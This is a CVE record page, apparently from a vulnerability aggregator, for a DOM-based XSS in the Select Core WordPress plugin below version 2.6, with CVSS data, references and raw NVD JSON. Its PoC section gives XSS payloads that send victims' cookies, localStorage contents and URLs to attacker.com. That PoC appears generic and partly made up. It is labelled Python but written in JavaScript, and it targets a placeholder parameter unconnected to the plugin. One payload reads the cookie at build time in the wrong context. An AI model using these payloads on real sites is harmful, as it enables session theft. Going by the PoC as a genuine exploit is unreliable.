CVE-2025-67539

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Select-Themes Select Core select-core allows DOM-Based XSS.This issue affects Select Core: from n/a through < 2.6.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Select Core < 2.6

Select Core (所有2.6之前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-67539 DOM-Based XSS PoC
// Target: Select-Themes Select Core WordPress Plugin < 2.6

// Malicious URL payload
const maliciousUrl = 'https://vulnerable-site.com/page?' +
  'parameter=<script>alert(document.domain)</script>';

// Alternative payload using img onerror
const imgPayload = 'https://vulnerable-site.com/page?' +
  'parameter=<img src=x onerror=fetch(`https://attacker.com/log?c='+
  encodeURIComponent(document.cookie)+'`)>';

// Steal session data
const sessionHijackPayload = 'https://vulnerable-site.com/page?' +
  'parameter=<script>fetch(`https://attacker.com/steal?data=${btoa(JSON.stringify({'+
  'cookies: document.cookie,'+
  'localStorage: localStorage.getItem("select_core_data"),'+
  'url: location.href'+
  '}))}`)</script>';

console.log('DOM XSS Payload:', maliciousUrl);
console.log('Session Hijack Payload:', sessionHijackPayload);

// Attack flow:
// 1. Attacker crafts malicious URL with XSS payload
// 2. Victim clicks/visits the malicious link
// 3. Vulnerable JS code processes URL parameter without sanitization
// 4. Payload executes in victim's browser context

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67539
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67539
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67539/
[4] VulDB https://vuldb.com/cve/CVE-2025-67539
[5] https://patchstack.com/database/Wordpress/Plugin/select-core/vulnerability/wordpress-select-core-plugin-2-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67539", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:29.047", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Select-Themes Select Core select-core allows DOM-Based XSS.This issue affects Select Core: from n/a through < 2.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/select-core/vulnerability/wordpress-select-core-plugin-2-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}